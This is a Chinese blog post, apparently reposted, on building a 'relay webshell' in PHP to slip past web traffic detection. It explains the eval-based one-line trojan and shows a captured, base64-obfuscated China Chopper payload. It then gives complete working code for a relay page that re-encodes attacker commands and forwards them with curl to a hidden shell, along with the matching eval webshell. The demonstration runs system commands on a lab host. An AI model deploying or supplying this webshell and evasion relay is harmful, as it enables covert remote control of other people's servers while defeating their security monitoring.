php流量中转,中转Webshell绕过流量检测防护
->_
0x00 前言
前一陣子心情不太好,本來已經(jīng)不打算寫東西了,但想到自己在學(xué)習(xí)的時候摸爬滾打,吃盡了苦頭,現(xiàn)在雖小有成就,但仍有很多同行道友在這條道路上不斷摸索,思索再三,還是打算繼續(xù)寫下去,算是為迷茫中的人點亮一盞微弱的燈……So,這篇文章寫詳細(xì)一些,就當(dāng)找個愿意聽的人說話了
老規(guī)矩,以PHP為例做講解
0x01 原理
這里先給大家介紹一句話木馬和菜刀的工作原理,了解的可以往下面翻
一句話木馬
先說說一句話木馬的原理
先說說eval()這個函數(shù)
簡單點說,eval()這個函數(shù)會把參數(shù)當(dāng)作代碼來執(zhí)行
什么叫做把參數(shù)當(dāng)作代碼來執(zhí)行,簡單舉個例子
phpinfo()函數(shù)都明白吧,不明白也沒關(guān)系,它執(zhí)行結(jié)果是這樣的
phpinfo()
當(dāng)把phpinfo()函數(shù)作為字符串傳遞給eval()函數(shù)時,效果就相當(dāng)于剛才的代碼
eval('phpinfo()')
關(guān)于eval()函數(shù)就介紹到此,如果還有不明白的自己翻翻資料,或者私信我
下面再說我們剛才寫的那個一句話木馬,現(xiàn)在理解起來就容易多了,它會把POST傳遞過來的參數(shù)c的內(nèi)容作為PHP代碼執(zhí)行,具體執(zhí)行的內(nèi)容由POST參數(shù)決定,比如執(zhí)行系統(tǒng)命令
POST
c=system('whoami');
whoami
這樣只需要不斷改變POST過來的數(shù)據(jù),就可以實現(xiàn)任意功能
這就是一句話木馬的原理
菜刀
理解了一句話木馬的原理后,菜刀的原理就更簡單了
菜刀其實就是根據(jù)一句話木馬的原理,將常用的一些操作的代碼封裝好,再結(jié)合圖像界面(GUI),實現(xiàn)當(dāng)你雙擊文件夾時便可列出目錄
為了方便理解這里用wireshark抓個數(shù)據(jù)包
wireshark
POST
c=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXFdJTkRPV1NcXA%3D%3D
感興趣的可以將發(fā)送的數(shù)據(jù)代碼自己分析分析,這里就不具體講了
0x02 中轉(zhuǎn)webshell
先扯點歷史
接著剛才菜刀原理說,既然已知了菜刀是將封裝好的參數(shù)根據(jù)用戶操作發(fā)送給webshell,那么站在防護(hù)的角度來講,我可以將主流的菜刀參數(shù)都設(shè)為黑名單,發(fā)現(xiàn)就攔截,甚至我可以對你發(fā)送的數(shù)據(jù)內(nèi)容進(jìn)行簡單的自動審計,發(fā)現(xiàn)敏感的代碼直接攔截掉
這個就是早期的一些防護(hù)軟件的攔截手段
于是,就有了一幫逆向大牛對菜刀進(jìn)行逆向,將封裝好的參數(shù)進(jìn)行混淆,或者對防護(hù)軟件進(jìn)行fuzz,然后找到不攔截的參數(shù)去替換,這樣就能實現(xiàn)一個“過狗”的效果
但是更有一群人渾水摸魚,在外發(fā)放了很多捆有后門的菜刀坐收漁翁之利,而且隨著防護(hù)軟件越來越完善,找到一些能夠替換的函數(shù)代價太大,于是就有了中轉(zhuǎn)webshell(主要還是因為不會逆向……因為懶……)
中轉(zhuǎn)webshell的邏輯很簡單,菜刀不直接向shell發(fā)送數(shù)據(jù),而是發(fā)送到中轉(zhuǎn)的一個頁面上,這個頁面對接收的參數(shù)全部進(jìn)行加密(甚至可以用2048位的RSA,只要你愿意),然后再發(fā)送給shell,shell接收后先用同樣的算法進(jìn)行解密,然后對執(zhí)行的結(jié)果進(jìn)行加密,返回給中轉(zhuǎn)shell,中轉(zhuǎn)shell再去解密,然后返回給菜刀客戶端
這樣就能實現(xiàn)自定義加密算法對菜刀的數(shù)據(jù)進(jìn)行加密來繞過一些防護(hù)設(shè)備,話不多說,上圖
中轉(zhuǎn)webshell
理解了原理就可以開始造輪子了
0x03 造輪子
中轉(zhuǎn)shell
set_time_limit(0);
$url = 'http://192.168.157.142:81/shell.php'; //真實shell地址
$opt_data = http_build_query($_POST);
$content = postdata($url,encode($opt_data));
$content = decode($content);
echo $content;
function encode($data){
return base64_encode(base64_encode($data));
}
function decode($data){
return base64_decode(base64_decode($data));
}
function postdata($url,$data){
$curl = curl_init(); //初始化
curl_setopt($curl,CURLOPT_URL,$url); //設(shè)置url
curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC); //設(shè)置http驗證方法
curl_setopt($curl,CURLOPT_HEADER,0); //設(shè)置頭信息
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); //設(shè)置curl_exec獲取的信息的返回方式
curl_setopt($curl,CURLOPT_POST,1); //設(shè)置發(fā)送方式為post請求
curl_setopt($curl,CURLOPT_POSTFIELDS,$data); //設(shè)置post的數(shù)據(jù)
$result = curl_exec($curl);
if($result === false){
echo 'Request False!';
echo curl_errno($curl);
exit();
}
curl_close($curl);
return $result;
}
?>
webshell
function callback($buffer){
return (encode($buffer));
}
ob_start("callback");
parse_str(decode(file_get_contents('php://input')),$_POST);
eval($_POST['c']);
function encode($data){ //加密算法
return base64_encode(base64_encode($data));
}
function decode($data){ //解密算法
return base64_decode(base64_decode($data));
}
ob_end_flush();
?>
效果如下:
1.菜刀連接中轉(zhuǎn)shell
image.png
2.中轉(zhuǎn)shell修改真實shell的url
image.png
3.通過菜刀執(zhí)行系統(tǒng)命令查看ip
image.png
可以看到我們打開的是192.168.157.128的會話,但實際操作的確是我們的目標(biāo)靶機(jī)192.168.157.142
至此結(jié)束
0xFF 尾言
身邊每個人都要去珍惜,不要等到失去才后悔莫急
——魯迅
總結(jié)
以上是生活随笔為你收集整理的php流量中转,中转Webshell绕过流量检测防护的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java中字段值重复校验,Java中一些
- 下一篇: mysql+用户批量导出,python批